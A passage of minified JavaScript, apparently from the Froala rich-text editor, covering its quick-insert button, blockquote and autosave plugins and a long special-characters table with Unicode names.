t(){i.shared.$quick_insert||(i.shared.$quick_insert=c(document.createElement("div")).attr("class","fr-quick-insert").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(i.language.translate("Quick Insert"),'">').concat(i.icon.create("quickInsert"),"</a>")));s=i.shared.$quick_insert,i.tooltip.bind(i.$box,".fr-quick-insert > a.fr-floating-btn"),i.events.on("destroy",function(){c("body").first().append(s.removeClass("fr-on")),l&&(p(),c("body").first().append(l.css("left",-9999).css("top",-9999)))},!0),i.events.on("shared.destroy",function(){s.html("").removeData().remove(),s=null,l&&(l.html("").removeData().remove(),l=null)},!0),i.events.on("commands.before",o),i.events.on("commands.after",function(){i.popups.areVisible()||r()}),i.events.bindClick(i.$box,".fr-quick-insert > a",f),i.events.bindClick(i.$box,".fr-qi-helper > a.fr-btn",function(e){var t=c(e.currentTarget).data("cmd");if(!1===i.events.trigger("quickInsert.commands.before",[t]))return!1;kt.QUICK_INSERT_BUTTONS[t].callback.apply(i,[e.currentTarget]),kt.QUICK_INSERT_BUTTONS[t].undo&&i.undo.saveStep(),i.events.trigger("quickInsert.commands.after",[t]),i.quickInsert.hide()}),i.events.$on(i.$wp,"scroll",u),i.events.$on(i.$tb,"transitionend",".fr-more-toolbar",u)}(),s.hasClass("fr-on")&&p(),i.$box.append(s),n(e),s.data("tag",e),s.addClass("fr-visible"))}function r(){if(i.core.hasFocus()){var e=i.selection.element();if(i.opts.enter==kt.ENTER_BR||i.node.isBlock(e)||(e=i.node.blockParent(e)),i.opts.enter==kt.ENTER_BR&&!i.node.isBlock(e)){var t=i.node.deepestParent(e);t&&(e=t)}var n=function n(){return i.opts.enter!=kt.ENTER_BR&&i.node.isEmpty(e)&&0<=i.opts.quickInsertTags.indexOf(e.tagName.toLowerCase())},r=function r(){return i.opts.enter==kt.ENTER_BR&&("BR"==e.tagName&&(!e.previousSibling||"BR"==e.previousSibling.tagName||i.node.isBlock(e.previousSibling))||i.node.isEmpty(e)&&(!e.previousSibling||"BR"==e.previousSibling.tagName||i.node.isBlock(e.previousSibling))&&(!e.nextSibling||"BR"==e.nextSibling.tagName||i.node.isBlock(e.nextSibling)))};e&&(n()||r())?s&&s.data("tag").is(c(e))&&s.hasClass("fr-on")?p():i.selection.isCollapsed()&&a(c(e)):o()}}function o(){s&&!d&&(s.hasClass("fr-on")&&p(),s.removeClass("fr-visible fr-on"),s.css("left",-9999).css("top",-9999))}function f(e){if(e&&e.preventDefault(),s.hasClass("fr-on")&&!s.hasClass("fr-hidden"))p();else{if(!i.shared.$qi_helper){for(var t=i.opts.quickInsertButtons,n='<div class="fr-qi-helper">',r=0,a=0;a<t.length;a++){var o=kt.QUICK_INSERT_BUTTONS[t[a]];o&&(!o.requiredPlugin||kt.PLUGINS[o.requiredPlugin]&&0<=i.opts.pluginsEnabled.indexOf(o.requiredPlugin))&&(n+='<a class="fr-btn fr-floating-btn" role="button" title="'.concat(i.language.translate(o.title),'" tabIndex="-1" data-cmd="').concat(t[a],'" style="transition-delay: ').concat(.025*r++,'s;">').concat(i.icon.create(o.icon),"</a>"))}n+="</div>",i.shared.$qi_helper=c(n),i.tooltip.bind(i.shared.$qi_helper,"a.fr-btn"),i.events.$on(i.shared.$qi_helper,"mousedown",function(e){e.preventDefault()},!0)}l=i.shared.$qi_helper,i.$box.append(l),d=!0,setTimeout(function(){d=!1,l.css("top",parseFloat(s.css("top"))),l.css("left",parseFloat(s.css("left"))+s.outerWidth()),l.find("a").addClass("fr-size-1"),s.addClass("fr-on")},10)}}function p(){var t=i.$box.find(".fr-qi-helper");if(t.length){for(var n=t.find("a"),e=0;e<n.length;e++)!function(e){setTimeout(function(){t.children().eq(n.length-1-e).removeClass("fr-size-1")},25*e)}(e);setTimeout(function(){t.css("left",-9999),s&&!s.hasClass("fr-hidden")&&s.removeClass("fr-on")},25*e)}}function u(){s.hasClass("fr-visible")&&n(s.data("tag"))}return{_init:function e(){if(!i.$wp||!i.opts.quickInsertEnabled)return!1;i.popups.onShow("image.edit",o),i.events.on("mouseup",r),i.helpers.isMobile()&&i.events.$on(c(i.o_doc),"selectionchange",r),i.events.on("blur",o),i.events.on("keyup",r),i.events.on("keydown",function(){setTimeout(function(){r()},0)})},hide:o}},kt.PLUGINS.quote=function(o){var i=o.$;function s(e){for(;e.parentNode&&e.parentNode!=o.el;)e=e.parentNode;return e}return{apply:function t(e){o.selection.save(),o.html.wrap(!0,!0,!0,!0),o.selection.restore(),"increase"==e?function r(){var e,t=o.selection.blocks();for(e=0;e<t.length;e++)t[e]=s(t[e]);o.selection.save();var n=i(document.createElement("blockquote"));for(n.insertBefore(t[0]),e=0;e<t.length;e++)n.append(t[e]);o.opts.trackChangesEnabled&&o.track_changes.addQuote(n),o.html.unwrap(),o.selection.restore()}():"decrease"==e&&function a(){var e,t=o.opts.trackChangesEnabled,n=o.selection.blocks();for(e=0;e<n.length;e++)"BLOCKQUOTE"!=n[e].tagName&&(n[e]=t&&i(n[e]).parentsUntil(o.$el,"[data-track-id^=pending]").get(0)||i(n[e]).parentsUntil(o.$el,"BLOCKQUOTE").get(0));for(o.selection.save(),e=0;e<n.length;e++)n[e]&&(t?o.track_changes.removeQuote(i(n[e]),e):i(n[e]).replaceWith(n[e].innerHTML));o.html.unwrap(),o.selection.restore()}()}}},kt.RegisterShortcut(kt.KEYCODE.SINGLE_QUOTE,"quote","increase","'"),kt.RegisterShortcut(kt.KEYCODE.SINGLE_QUOTE,"quote","decrease","'",!0),kt.RegisterCommand("quote",{title:"Quote",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t={increase:"Increase",decrease:"Decrease"};for(var n in t)if(t.hasOwnProperty(n)){var r=this.shortcuts.get("quote.".concat(n));e+='<li role="presentation"><a class="fr-command fr-active '.concat(n,'" tabIndex="-1" role="option" data-cmd="quote" data-param1="').concat(n,'" title="').concat(t[n],'">').concat(this.language.translate(t[n])).concat(r?'<span class="fr-shortcut">'.concat(r,"</span>"):"","</a></li>")}return e+="</ul>"},callback:function(e,t){this.quote.apply(t)},plugin:"quote"}),kt.DefineIcon("quote",{NAME:"quote-left",SVG_KEY:"blockquote"}),Object.assign(kt.DEFAULTS,{saveInterval:1e4,saveURL:null,saveParams:{},saveParam:"body",saveMethod:"POST"}),kt.PLUGINS.save=function(s){var l=s.$,r=null,c=null,t=!1,d=1,f=2,n={};function p(e,t){s.events.trigger("save.error",[{code:e,message:n[e]},t])}function a(e){void 0===e&&(e=s.html.get());var r=e,t=s.events.trigger("save.before",[e]);if(!1===t)return!1;if("string"==typeof t&&(e=t),s.opts.saveURL){var n={};for(var a in s.opts.saveParams)if(s.opts.saveParams.hasOwnProperty(a)){var o=s.opts.saveParams[a];n[a]="function"==typeof o?o.call(this):o}var i={};i[s.opts.saveParam]=e,l(this).ajax({method:s.opts.saveMethod,url:s.opts.saveURL,data:Object.assign(i,n),crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,n){c=r,s.events.trigger("save.after",[e])},fail:function(e){p(f,e.response||e.responseText)}})}else p(d)}function o(){clearTimeout(r),r=setTimeout(function(){var e=s.html.get();(c!=e||t)&&(t=!1,a(c=e))},0)}return n[d]="Missing saveURL option.",n[f]="Something went wrong during save.",{_init:function i(){if(s.opts.letteringClass)for(var e=s.opts.letteringClass,t=s.$el.find(".".concat(e)).length,n=0;n<t;n++)s.$el.find(".".concat(e))[n].innerHTML=s.$el.find(".".concat(e))[n].innerText.replace(/([\w'-]+|[?.",])/g,"<span class = 'fr-word-select'>$1</span>");s.opts.saveInterval&&(c=s.html.get(),s.events.on("contentChanged",function(){setTimeout(o,s.opts.saveInterval)}),s.events.on("keydown destroy",function(){clearTimeout(r)}))},save:a,reset:function e(){o(),t=!1},force:function u(){t=!0}}},kt.DefineIcon("save",{NAME:"floppy-o",FA5NAME:"save"}),kt.RegisterCommand("save",{title:"Save",undo:!1,focus:!1,refreshAfterCallback:!1,callback:function(){this.save.save()},plugin:"save"}),Object.assign(kt.DEFAULTS,{specialCharactersSets:[{title:"Latin","char":"¡",list:[{"char":"¡",desc:"INVERTED EXCLAMATION MARK"},{"char":"¢",desc:"CENT SIGN"},{"char":"£",desc:"POUND SIGN"},{"char":"¤",desc:"CURRENCY SIGN"},{"char":"¥",desc:"YEN SIGN"},{"char":"¦",desc:"BROKEN BAR"},{"char":"§",desc:"SECTION SIGN"},{"char":"¨",desc:"DIAERESIS"},{"char":"©",desc:"COPYRIGHT SIGN"},{"char":"™",desc:"TRADEMARK SIGN"},{"char":"ª",desc:"FEMININE ORDINAL INDICATOR"},{"char":"«",desc:"LEFT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¬",desc:"NOT SIGN"},{"char":"®",desc:"REGISTERED SIGN"},{"char":"¯",desc:"MACRON"},{"char":"°",desc:"DEGREE SIGN"},{"char":"±",desc:"PLUS-MINUS SIGN"},{"char":"²",desc:"SUPERSCRIPT TWO"},{"char":"³",desc:"SUPERSCRIPT THREE"},{"char":"´",desc:"ACUTE ACCENT"},{"char":"µ",desc:"MICRO SIGN"},{"char":"¶",desc:"PILCROW SIGN"},{"char":"·",desc:"MIDDLE DOT"},{"char":"¸",desc:"CEDILLA"},{"char":"¹",desc:"SUPERSCRIPT ONE"},{"char":"º",desc:"MASCULINE ORDINAL INDICATOR"},{"char":"»",desc:"RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK"},{"char":"¼",desc:"VULGAR FRACTION ONE QUARTER"},{"char":"½",desc:"VULGAR FRACTION ONE HALF"},{"char":"¾",desc:"VULGAR FRACTION THREE QUARTERS"},{"char":"¿",desc:"INVERTED QUESTION MARK"},{"char":"À",desc:"LATIN CAPITAL LETTER A WITH GRAVE"},{"char":"Á",desc:"LATIN CAPITAL LETTER A WITH ACUTE"},{"char":"Â",desc:"LATIN CAPITAL LETTER A WITH CIRCUMFLEX"},{"char":"Ã",desc:"LATIN CAPITAL LETTER A WITH TILDE"},{"char":"Ä",desc:"LATIN CAPITAL LETTER A WITH DIAERESIS "},{"char":"Å",desc:"LATIN CAPITAL LETTER A WITH RING ABOVE"},{"char":"Æ",desc:"LATIN CAPITAL LETTER AE"},{"char":"Ç",desc:"LATIN CAPITAL LETTER C WITH CEDILLA"},{"char":"È",desc:"LATIN CAPITAL LETTER E WITH GRAVE"},{"char":"É",desc:"LATIN CAPITAL LETTER E WITH ACUTE"},{"char":"Ê",desc:"LATIN CAPITAL LETTER E WITH CIRCUMFLEX"},{"char":"Ë",desc:"LATIN CAPITAL LETTER E WITH DIAERESIS"},{"char":"Ì",desc:"LATIN CAPITAL LETTER I WITH GRAVE"},{"char":"Í",desc:"LATIN CAPITAL LETTER I WITH ACUTE"},{"char":"Î",desc:"LATIN CAPITAL LETTER I WITH CIRCUMFLEX"},{"char":"Ï",desc:"LATIN CAPITAL LETTER I WITH DIAERESIS"},{"char":"Ð",desc:"LATIN CAPITAL LETTER ETH"},{"char":"Ñ",desc:"LATIN CAPITAL LETTER N WITH TILDE"},{"char":"Ò",desc:"LATIN CAPITAL LETTER O WITH GRAVE"},{"char":"Ó",desc:"LATIN CAPITAL LETTER O WITH ACUTE"},{"char":"Ô",desc:"LATIN CAPITAL LETTER O WITH CIRCUMFLEX"},{"char":"Õ",desc:"LATIN CAPITAL LETTER O WITH TILDE"},{"char":"Ö",desc:"LATIN CAPITAL LETTER O WITH DIAERESIS"},{"char":"×",desc:"MULTIPLICATION SIGN"},{"char":"Ø",desc:"LATIN CAPITAL LETTER O WITH STROKE"},{"char":"Ù",desc:"LATIN CAPITAL LETTER U WITH GRAVE"},{"char":"Ú",desc:"LATIN CAPITAL LETTER U WITH ACUTE"},{"char":"Û",desc:"LATIN CAPITAL LETTER U WITH CIRCUMFLEX"},{"char":"Ü",desc:"LATIN CAPITAL LETTER U WITH DIAERESIS"},{"char":"Ý",desc:"LATIN CAPITAL LETTER Y WITH ACUTE"},{"char":"Þ",desc:"LATIN CAPITAL LETTER THORN"},{"char":"ß",desc:"LATIN SMALL LETTER SHARP S"},{"char":"à",desc:"LATIN SMALL LETTER A WITH GRAVE"},{"char":"á",desc:"LATIN SMALL LETTER A WITH ACUTE "},{"char":"â",desc:"LATIN SMALL LETTER A WITH CIRCUMFLEX"},{"char":"ã",desc:"LATIN SMALL LETTER A WITH TILDE"},{"char":"ä",desc:"LATIN SMALL LETTER A WITH DIAERESIS"},{"char":"å",desc:"LATIN SMALL LETTER A WITH RING ABOVE"},{"char":"æ",desc:"LATIN SMALL LETTER AE"},{"char":"ç",desc:"LATIN SMALL LETTER C WITH CEDILLA"},{"char":"è",desc:"LATIN SMALL LETTER E WITH GRAVE"},{"char":"é",desc:"LATIN SMALL LETTER E WITH ACUTE"},{"char":"ê",desc:"LATIN SMALL LETTER E WITH CIRCUMFLEX"},{"char":"ë",desc:"LATIN SMALL LETTER E WITH DIAERESIS"},{"char":"ì",desc:"LATIN SMALL LETTER I WITH GRAVE"},{"char":"í",desc:"LATIN SMALL LETTER I WITH ACUTE"},{"char":"î",desc:"LATIN SMALL LETTER I WITH CIRCUMFLEX"},{"char":"ï",desc:"LATIN SMALL LETTER I WITH DIAERESIS"},{"char":"ð",desc:"LATIN SMALL LETTER ETH"},{"char":"ñ",desc:"LATIN SMALL LETTER N WITH TILDE"},{"char":"ò",desc:"LATIN SMALL LETTER O WITH GRAVE"},{"char":"ó",desc:"LATIN SMALL LETTER O WITH ACUTE"},{"char":"ô",desc:"LATIN SMALL LETTER O WITH CIRCUMFLEX"},{"char":"õ",desc:"LATIN SMALL LETTER O WITH TILDE"},{"char":"ö",desc:"LATIN SMALL LETTER O WITH DIAERESIS"},{"char":"÷",desc:"DIVISION SIGN"},{"char":"ø",desc:"LATIN SMALL LETTER O WITH STROKE"},{"char":"ù",desc:"LATIN SMALL LETTER U WITH GRAVE"},{"char":"ú",desc:"LATIN SMALL LETTER U WITH ACUTE"},{"char":"û",desc:"LATIN SMALL LETTER U WITH CIRCUMFLEX"},{"char":"ü",desc:"LATIN SMALL LETTER U WITH DIAERESIS"},{"char":"ý",desc:"LATIN SMALL LETTER Y WITH ACUTE"},{"char":"þ",desc:"LATIN SMALL LETTER THORN"},{"char":"ÿ",desc:"LATIN SMALL LETTER Y WITH DIAERESIS"}]},{title:"Greek","char":"Α",list:[{"char":"Α",desc:"GREEK CAPITAL LETTER ALPHA"},{"char":"Β",desc:"GREEK CAPITAL LETTER BETA"},{"char":"Γ",desc:"GREEK CAPITAL LETTER GAMMA"},{"char":"Δ",desc:"GREEK CAPITAL LETTER DELTA"},{"char":"Ε",desc:"GREEK CAPITAL LETTER EPSILON"},{"char":"Ζ",desc:"GREEK CAPITAL LETTER ZETA"},{"char":"Η",desc:"GREEK CAPITAL LETTER ETA"},{"char":"Θ",desc:"GREEK CAPITAL LETTER THETA"},{"char":"Ι",desc:"GREEK CAPITAL LETTER IOTA"},{"char":"Κ",desc:"GREEK CAPITAL LETTER KAPPA"},{"char":"Λ",desc:"GREEK CAPITAL LETTER LAMBDA"},{"char":"Μ",desc:"GREEK CAPITAL LETTER MU"},{"char":"Ν",desc:"GREEK CAPITAL LETTER NU"},{"char":"Ξ",desc:"GREEK CAPITAL LETTER XI"},{"char":"Ο",desc:"GREEK CAPITAL LETTER OMICRON"},{"char":"Π",desc:"GREEK CAPITAL LETTER PI"},{"char":"Ρ",desc:"GREEK CAPITAL LETTER RHO"},{"char":"Σ",desc:"GREEK CAPITAL LETTER SIGMA"},{"char":"Τ",desc:"GREEK CAPITAL LETTER TAU"},{"char":"Υ",desc:"GREEK CAPITAL LETTER UPSILON"},{"char":"Φ",desc:"GREEK CAPITAL LETTER PHI"},{"char":"Χ",desc:"GREEK CAPITAL LETTER CHI"},{"char":"Ψ",desc:"GREEK CAPITAL LETTER PSI"},{"char":"Ω",desc:"GREEK CAPITAL LETTER OMEGA"},{"char":"α",desc:"GREEK SMALL LETTER ALPHA"},{"char":"β",desc:"GREEK SMALL LETTER BETA"},{"char":"γ",desc:"GREEK SMALL LETTER GAMMA"},{"char":"δ",desc:"GREEK SMALL LETTER DELTA"},{"char":"ε",desc:"GREEK SMALL LETTER EPSILON"},{"char":"ζ",desc:"GREEK SMALL LETTER ZETA"},{"char":"η",desc:"GREEK SMALL LETTER ETA"},{"char":"θ",desc:"GREEK SMALL LETTER THETA"},{"char":"ι",desc:"GREEK SMALL LETTER IOTA"},{"char":"κ",desc:"GREEK SMALL LETTER KAPPA"},{"char":"λ",desc:"GREEK SMALL LETTER LAMBDA"},{"char":"μ",desc:"GREEK SMALL LETTER MU"},{"char":"ν",desc:"GREEK SMALL LETTER NU"},{"char":"ξ",desc:"GREEK SMALL LETTER XI"},{"char":"ο",desc:"GREEK SMALL LETTER OMICRON"},{"char":"π",desc:"GREEK SMALL LETTER PI"},{"char":"ρ",desc:"GREEK SMALL LETTER RHO"},{"char":"ς",desc:"GREEK SMALL LETTER FINAL SIGMA"},{"char":"σ",desc:"GREEK SMALL LETTER SIGMA"},{"char":"τ",desc:"GREEK SMALL LETTER TAU"},{"char":"υ",desc:"GREEK SMALL LETTER UPSILON"},{"char":"φ",desc:"GREEK SMALL LETTER PHI"},{"char":"χ",desc:"GREEK SMALL LETTER CHI"},{"char":"ψ",desc:"GREEK SMALL LETTER PSI"},{"char":"ω",desc:"GREEK SMALL LETTER OMEGA"},{"char":"ϑ",desc:"GREEK THETA SYMBOL"},{"char":"ϒ",desc:"GREEK UPSILON WITH HOOK SYMBOL"},{"char":"ϕ",desc:"GREEK PHI SYMBOL"},{"char":"ϖ",desc:"GREEK PI SYMBOL"},{"char":"Ϝ",desc:"GREEK LETTER DIGAMMA"},{"char":"ϝ",desc:"GREEK SMALL LETTER DIGAMMA"},{"char":"ϰ",desc:"GREEK KAPPA SYMBOL"},{"char":"ϱ",desc:"GREEK RHO SYMBOL"},{"char":"ϵ",desc:"GREEK LUNATE EPSILON SYMBOL"},{"char":"϶",desc:"GREEK REVERSED LUNATE EPSILON SYMBOL"}]},{title:"Cyrillic","char":"Ѐ",list:[{"char":"Ѐ",desc:"CYRILLIC CAPITAL LETTER IE WITH GRAVE"},{"char":"Ё",desc:"CYRILLIC CAPITAL LETTER IO"},{"char":"Ђ",desc:"CYRILLIC CAPITAL LETTER DJE"},{"char":"Ѓ",desc:"CYRILLIC CAPITAL LETTER GJE"},{"char":"Є",desc:"CYRILLIC CAPITAL LETTER UKRAINIAN IE"},{"char":"Ѕ",desc:"CYRILLIC CAPITAL LETTER DZE"},{"char":"І",desc:"CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"Ї",desc:"CYRILLIC CAPITAL LETTER YI"},{"char":"Ј",desc:"CYRILLIC CAPITAL LETTER JE"},{"char":"Љ",desc:"CYRILLIC CAPITAL LETTER LJE"},{"char":"Њ",desc:"CYRILLIC CAPITAL LETTER NJE"},{"char":"Ћ",desc:"CYRILLIC CAPITAL LETTER TSHE"},{"char":"Ќ",desc:"CYRILLIC CAPITAL LETTER KJE"},{"char":"Ѝ",desc:"CYRILLIC CAPITAL LETTER I WITH GRAVE"},{"char":"Ў",desc:"CYRILLIC CAPITAL LETTER SHORT U"},{"char":"Џ",desc:"CYRILLIC CAPITAL LETTER DZHE"},{"char":"А",desc:"CYRILLIC CAPITAL LETTER A"},{"char":"Б",desc:"CYRILLIC CAPITAL LETTER BE"},{"char":"В",desc:"CYRILLIC CAPITAL LETTER VE"},{"char":"Г",desc:"CYRILLIC CAPITAL LETTER GHE"},{"char":"Д",desc:"CYRILLIC CAPITAL LETTER DE"},{"char":"Е",desc:"CYRILLIC CAPITAL LETTER IE"},{"char":"Ж",desc:"CYRILLIC CAPITAL LETTER ZHE"},{"char":"З",desc:"CYRILLIC CAPITAL LETTER ZE"},{"char":"И",desc:"CYRILLIC CAPITAL LETTER I"},{"char":"Й",desc:"CYRILLIC CAPITAL LETTER SHORT I"},{"char":"К",desc:"CYRILLIC CAPITAL LETTER KA"},{"char":"Л",desc:"CYRILLIC CAPITAL LETTER EL"},{"char":"М",desc:"CYRILLIC CAPITAL LETTER EM"},{"char":"Н",desc:"CYRILLIC CAPITAL LETTER EN"},{"char":"О",desc:"CYRILLIC CAPITAL LETTER O"},{"char":"П",desc:"CYRILLIC CAPITAL LETTER PE"},{"char":"Р",desc:"CYRILLIC CAPITAL LETTER ER"},{"char":"С",desc:"CYRILLIC CAPITAL LETTER ES"},{"char":"Т",desc:"CYRILLIC CAPITAL LETTER TE"},{"char":"У",desc:"CYRILLIC CAPITAL LETTER U"},{"char":"Ф",desc:"CYRILLIC CAPITAL LETTER EF"},{"char":"Х",desc:"CYRILLIC CAPITAL LETTER HA"},{"char":"Ц",desc:"CYRILLIC CAPITAL LETTER TSE"},{"char":"Ч",desc:"CYRILLIC CAPITAL LETTER CHE"},{"char":"Ш",desc:"CYRILLIC CAPITAL LETTER SHA"},{"char":"Щ",desc:"CYRILLIC CAPITAL LETTER SHCHA"},{"char":"Ъ",desc:"CYRILLIC CAPITAL LETTER HARD SIGN"},{"char":"Ы",desc:"CYRILLIC CAPITAL LETTER YERU"},{"char":"Ь",desc:"CYRILLIC CAPITAL LETTER SOFT SIGN"},{"char":"Э",desc:"CYRILLIC CAPITAL LETTER E"},{"char":"Ю",desc:"CYRILLIC CAPITAL LETTER YU"},{"char":"Я",desc:"CYRILLIC CAPITAL LETTER YA"},{"char":"а",desc:"CYRILLIC SMALL LETTER A"},{"char":"б",desc:"CYRILLIC SMALL LETTER BE"},{"char":"в",desc:"CYRILLIC SMALL LETTER VE"},{"char":"г",desc:"CYRILLIC SMALL LETTER GHE"},{"char":"д",desc:"CYRILLIC SMALL LETTER DE"},{"char":"е",desc:"CYRILLIC SMALL LETTER IE"},{"char":"ж",desc:"CYRILLIC SMALL LETTER ZHE"},{"char":"з",desc:"CYRILLIC SMALL LETTER ZE"},{"char":"и",desc:"CYRILLIC SMALL LETTER I"},{"char":"й",desc:"CYRILLIC SMALL LETTER SHORT I"},{"char":"к",desc:"CYRILLIC SMALL LETTER KA"},{"char":"л",desc:"CYRILLIC SMALL LETTER EL"},{"char":"м",desc:"CYRILLIC SMALL LETTER EM"},{"char":"н",desc:"CYRILLIC SMALL LETTER EN"},{"char":"о",desc:"CYRILLIC SMALL LETTER O"},{"char":"п",desc:"CYRILLIC SMALL LETTER PE"},{"char":"р",desc:"CYRILLIC SMALL LETTER ER"},{"char":"с",desc:"CYRILLIC SMALL LETTER ES"},{"char":"т",desc:"CYRILLIC SMALL LETTER TE"},{"char":"у",desc:"CYRILLIC SMALL LETTER U"},{"char":"ф",desc:"CYRILLIC SMALL LETTER EF"},{"char":"х",desc:"CYRILLIC SMALL LETTER HA"},{"char":"ц",desc:"CYRILLIC SMALL LETTER TSE"},{"char":"ч",desc:"CYRILLIC SMALL LETTER CHE"},{"char":"ш",desc:"CYRILLIC SMALL LETTER SHA"},{"char":"щ",desc:"CYRILLIC SMALL LETTER SHCHA"},{"char":"ъ",desc:"CYRILLIC SMALL LETTER HARD SIGN"},{"char":"ы",desc:"CYRILLIC SMALL LETTER YERU"},{"char":"ь",desc:"CYRILLIC SMALL LETTER SOFT SIGN"},{"char":"э",desc:"CYRILLIC SMALL LETTER E"},{"char":"ю",desc:"CYRILLIC SMALL LETTER YU"},{"char":"я",desc:"CYRILLIC SMALL LETTER YA"},{"char":"ѐ",desc:"CYRILLIC SMALL LETTER IE WITH GRAVE"},{"char":"ё",desc:"CYRILLIC SMALL LETTER IO"},{"char":"ђ",desc:"CYRILLIC SMALL LETTER DJE"},{"char":"ѓ",desc:"CYRILLIC SMALL LETTER GJE"},{"char":"є",desc:"CYRILLIC SMALL LETTER UKRAINIAN IE"},{"char":"ѕ",desc:"CYRILLIC SMALL LETTER DZE"},{"char":"і",desc:"CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I"},{"char":"ї",desc:"CYRILLIC SMALL LETTER YI"},{"char":"ј",desc:"CYRILLIC SMALL LETTER JE"},{"char":"љ",desc:"CYRILLIC SMALL LETTER LJE"},{"char":"њ",desc:"CYRILLIC SMALL LETTER NJE"},{"char":"ћ",desc:"CYRILLIC SMALL LETTER TSHE"},{"char":"ќ",desc:"CYRILLIC SMALL LETTER KJE"},{"char":"ѝ",desc:"CYRILLIC SMALL LETTER I WITH GRAVE"},{"char":"ў",desc:"CYRILLIC SMALL LETTER SHORT U"},{"char":"џ",desc:"CYRILLIC SMALL LETTER DZHE"}]},{title:"Punctuation","char":"–",list:[{"char":"–",desc:"EN DASH"},{"char":"—",desc:"EM DASH"},{"char":"‘",desc:"LEFT SINGLE QUOTATION MARK"},{"char":"’",desc:"RIGHT SINGLE QUOTATION MARK"},{"char":"‚",desc:"SINGLE LOW-9 QUOTATION MARK"},{"char":"“",desc:"LEFT DOUBLE QUOTATION MARK"},{"char":"”",desc:"RIGHT DOUBLE QUOTATION MARK"},{"char":"„",desc:"DOUBLE LOW-9 QUOTATION MARK"},{"char":"†",desc:"DAGGER"},{"char":"‡",desc:"DOUBLE DAGGER"},{"char":"•",desc:"BULLET"},{"char":"…",desc:"HORIZONTAL ELLIPSIS"},{"char":"‰",desc:"PER MILLE SIGN"},{"char":"′",desc:"PRIME"},{"char":"″",desc:"DOUBLE PRIME"},{"char":"‹",desc:"SINGLE LEFT-POINTING ANGLE QUOTATION MARK"},{"char":"›",desc:"SINGLE RIGHT-POINTING ANGLE QUOTATION MARK"},{"char":"‾",desc:"OVERLINE"},{"char":"⁄",desc:"FRACTION SLASH"}]},{title:"Currency","char":"₠",list:[{"char":"₠",desc:"EURO-CURRENCY SIGN"},{"char":"₡",desc:"COLON SIGN"},{"char":"₢",desc:"CRUZEIRO SIGN"},{"char":"₣",desc:"FRENCH FRANC SIGN"},{"char":"₤",desc:"LIRA SIGN"},{"char":"₥",desc:"MILL SIGN"},{"char":"₦",desc:"NAIRA SIGN"},{"char":"₧",desc:"PESETA SIGN"},{"char":"₨",desc:"RUPEE SIGN"},{"char":"₩",desc:"WON SIGN"},{"char":"₪",desc:"NEW SHEQEL SIGN"},{"char":"₫",desc:"DONG SIGN"},{"char":"€",desc:"EURO SIGN"},{"char":"₭",desc:"KIP SIGN"},{"char":"₮",desc:"TUGRIK SIGN"},{"char":"₯",desc:"DRACHMA SIGN"},{"char":"₰",desc:"GERMAN PENNY SYMBOL"},{"char":"₱",desc:"PESO SIGN"},{"char":"₲",desc:"GUARANI SIGN"},{"char":"₳",desc:"AUSTRAL SIGN"},{"char":"₴",desc:"HRYVNIA SIGN"},{"char":"₵",desc:"CEDI SIGN"},{"char":"₶",desc:"LIVRE TOURNOIS SIGN"},{"char":"₷",desc:"SPESMILO SIGN"},{"char":"₸",desc:"TENGE SIGN"},{"char":"₹",desc:"INDIAN RUPEE SIGN"}]},{title:"Arrows","char":"←",list:[{"char":"←",desc:"LEFTWARDS ARROW"},{"char":"↑",desc:"UPWARDS ARROW"},{"char":"→",desc:"RIGHTWARDS ARROW"},{"char":"↓",desc:"DOWNWARDS ARROW"},{"char":"↔",desc:"LEFT RIGHT ARROW"},{"char":"↕",desc:"UP DOWN ARROW"},{"char":"↖",desc:"NORTH WEST ARROW"},{"char":"↗",desc:"NORTH EAST ARROW"},{"char":"↘",desc:"SOUTH EAST ARROW"},{"char":"↙",desc:"SOUTH WEST ARROW"},{"char":"↚",desc:"LEFTWARDS ARROW WITH STROKE"},{"char":"↛",desc:"RIGHTWARDS ARROW WITH STROKE"},{"char":"↜",desc:"LEFTWARDS WAVE ARROW"},{"char":"↝",desc:"RIGHTWARDS WAVE ARROW"},{"char":"↞",desc:"LEFTWARDS TWO HEADED ARROW"},{"char":"↟",desc:"UPWARDS TWO HEADED ARROW"},{"char":"↠",desc:"RIGHTWARDS TWO HEADED ARROW"},{"char":"↡",desc:"DOWNWARDS TWO HEADED ARROW"},{"char":"↢",desc:"LEFTWARDS ARROW WITH TAIL"},{"char":"↣",desc:"RIGHTWARDS ARROW WITH TAIL"},{"char":"↤",desc:"LEFTWARDS ARROW FROM BAR"},{"char":"↥",desc:"UPWARDS ARROW FROM BAR"},{"char":"↦",desc:"RIGHTWARDS ARROW FROM BAR"},{"char":"↧",desc:"DOWNWARDS ARROW FROM BAR"},{"char":"↨",desc:"UP DOWN ARROW WITH BASE"},{"char":"↩",desc:"LEFTWARDS ARROW WITH HOOK"},{"char":"↪",desc:"RIGHTWARDS ARROW WITH HOOK"},{"char":"↫",desc:"LEFTWARDS ARROW WITH LOOP"},{"char":"↬",desc:"RIGHTWARDS ARROW WITH LOOP"},{"char":"↭",desc:"LEFT RIGHT WAVE ARROW"},{"char":"↮",desc:"LEFT RIGHT ARROW WITH STROKE"},{"char":"↯",desc:"DOWNWARDS ZIGZAG ARROW"},{"char":"↰",desc:"UPWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↱",desc:"UPWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↲",desc:"DOWNWARDS ARROW WITH TIP LEFTWARDS"},{"char":"↳",desc:"DOWNWARDS ARROW WITH TIP RIGHTWARDS"},{"char":"↴",desc:"RIGHTWARDS ARROW WITH CORNER DOWNWARDS"},{"char":"↵",desc:"DOWNWARDS ARROW WITH CORNER LEFTWARDS"},{"char":"↶",desc:"ANTICLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↷",desc:"CLOCKWISE TOP SEMICIRCLE ARROW"},{"char":"↸",desc:"NORTH WEST ARROW TO LONG BAR"},{"char":"↹",desc:"LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR"},{"char":"↺",desc:"ANTICLOCKWISE OPEN CIRCLE ARROW"},{"char":"↻",desc:"CLOCKWISE OPEN CIRCLE 